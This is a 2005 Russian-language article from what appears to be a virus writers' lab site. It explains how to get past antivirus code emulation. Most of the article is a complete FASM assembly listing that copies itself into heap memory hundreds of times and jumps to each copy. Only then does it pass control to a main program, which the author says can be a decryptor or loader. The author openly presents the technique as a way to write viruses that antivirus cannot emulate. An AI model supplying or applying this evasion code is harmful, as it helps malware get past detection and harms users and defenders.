Welcome to The Passion Of Code Laboratory!!!Статьи

Путешествие по куче или Как обмануть эмулятор?

Автор: Ct757 / TPOC

Все мы часто сталкивались с такой фишкой антивирусов, как эмуляция программного кода. Суть её заключается в том, что av разбирает прогу на инструкции, а затем эмулирует их выполнение. Это может очень часто помешать при написании вирусов, да и вообще, кому нравится, когда без спроса выполняют его код? :) Есть несколько способов избежать этого, и в данной статье я рассмотрю наиболее действенный, на мой взгляд. Смысл этого способа заключается в том, чтобы построить код таким образом, чтобы антивирус просто не смог бы его эмулировать. Как мы знаем, в Windowz присутствует такая вещь как куча (heap). Кучи бывают двух видов - стандартная и дополнительная. Стандартная выделяется процессу во время его инициализации - её мы и будем использовать. Размер этой памяти (т. е. кучи) определяется при компиляции, по умолчанию он составляет 1 Мб. Так вот идея заключается в том, чтобы скопировать собственный код в кучу, перейти на него, проделать всё это n раз, а затем только перейти к выполнению основной программы. Адрес памяти в куче заранее не известен (его мы узнаемтолько после вызова соответсвующей API-функции), следовательно антивирус не сможет выполнить эмуляцию программы. В данной реализации этого механизма я буду использовать функции LocalAlloc и LocalFree, но вы можете воспользоваться и другими апи - это не важно. Вот прототип функции LocalAlloc:

HLOCAL LocalAlloc(
UINT uFlags,
SIZE_T uBytes
);

uFlags - Атрибут выделения памяти. Нам нужно LMEM_FIXED.
uBytes - Количество запрашиваемых байт. Этот параметр мы выставим равным размеру "прыгающей" части.

Функция возрвращает хэндл памяти в куче. Как вы видите здесь всё просто. Вам уже наверное не терпится что-нибудь написать. Ну давайте приступим:

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; Emulation stopper
; (x)2005 by Ct757[TPOC]
;
; Use FASM to compile this shit
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

format PE GUI 4.0
entry start

include '%fasminc%\win32a.inc'

section '.main' code readable writeable executable

start:

; Сначала, установим адреса апишек, т. к. нам нужен базонезависимый код

push LocalFree
pop [_LocalFree]

push LocalAlloc
pop [_LocalAlloc]

; Здесь начинается код, который будет копироваться

begin:

call delta ; вычисляем
delta: pop ebp ; delta-смещение

mov ecx,[ebp+prev_mem-delta] ; проверяем предыдущий
jecxz _next ; хэндл памяти, если он
; равен нулю, то переходим
; дальше
; иначе
push ecx ; освобождаем память

dw 15FFh ; опкод call dword ptr [0xxxxxxxxh]
_LocalFree dd 00000000h ; адрес функции

_next: pushd [ebp+curr_mem-delta] ; текущий адрес
popd [ebp+prev_mem-delta] ; положим в пердыдущий

xor eax,eax

push code_sz ; размер кода
push eax ; флаг LMEM_FIXED
dw 15FFh ;
_LocalAlloc dd 00000000h ; call LocalAlloc - выделяем память
mov [ebp+curr_mem-delta],eax ; сохраняем хэндл

mov edi,eax ; адрес памяти поместим в edi
lea esi,[ebp+begin-delta] ; в esi - источник для копирования

db 0B8h ; опкод mov eax, 0xxxxxxxxh
count dd 00000100h ; кол-во прыжков
test eax,eax ; если кол-во больше нуля
jne __next ; прыгаем дальше

jmp_to_code:

; Тут находится код, который будет выполнен, когда мы напрыгаемся.
; Здесь также может находится какой-нибудь декриптор, загрузчик, и т. д.

mov eax,main ; просто передаем
jmp eax ; управление

__next:
dec dword [ebp+count-delta] ; уменьщаем счетчик

xor ecx,ecx ; заносим в ecx
add ecx,code_sz ; размер кода
rep movsb ; и копируем

jmp [ebp+curr_mem-delta] ; прыгаем на этот код

prev_mem dd 0 ; здесь будет предыдущий адрес
curr_mem dd 0 ; а здесь текущий

code_sz = $ - begin ; размер копируемого кода

; Тут лежит код основной программы

main:

invoke MessageBox,0,_text,_title,0
jmp exit

_title db 'Hello, world!',0
_text db 'Main program code here...',0

exit:
invoke ExitProcess,0

data import

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'

include '%fasminc%\APIA\kernel32.inc'
include '%fasminc%\APIA\user32.inc'

end data
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Вот и всё...
P.S. В качестве примера программы, работающей по такому
принципу вы можете посмотреть crackme.exe, который
прилагается к данной статье.
P.P.S. Thx to FreeMan[TPOC]
http://thepoc.exploiterz.org
http://ct757.net.ru (x)2005 by Ct757[TPOC]
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Файлы

[C] Ct757 / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

 
Дата последнего обновления: 25 июля 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)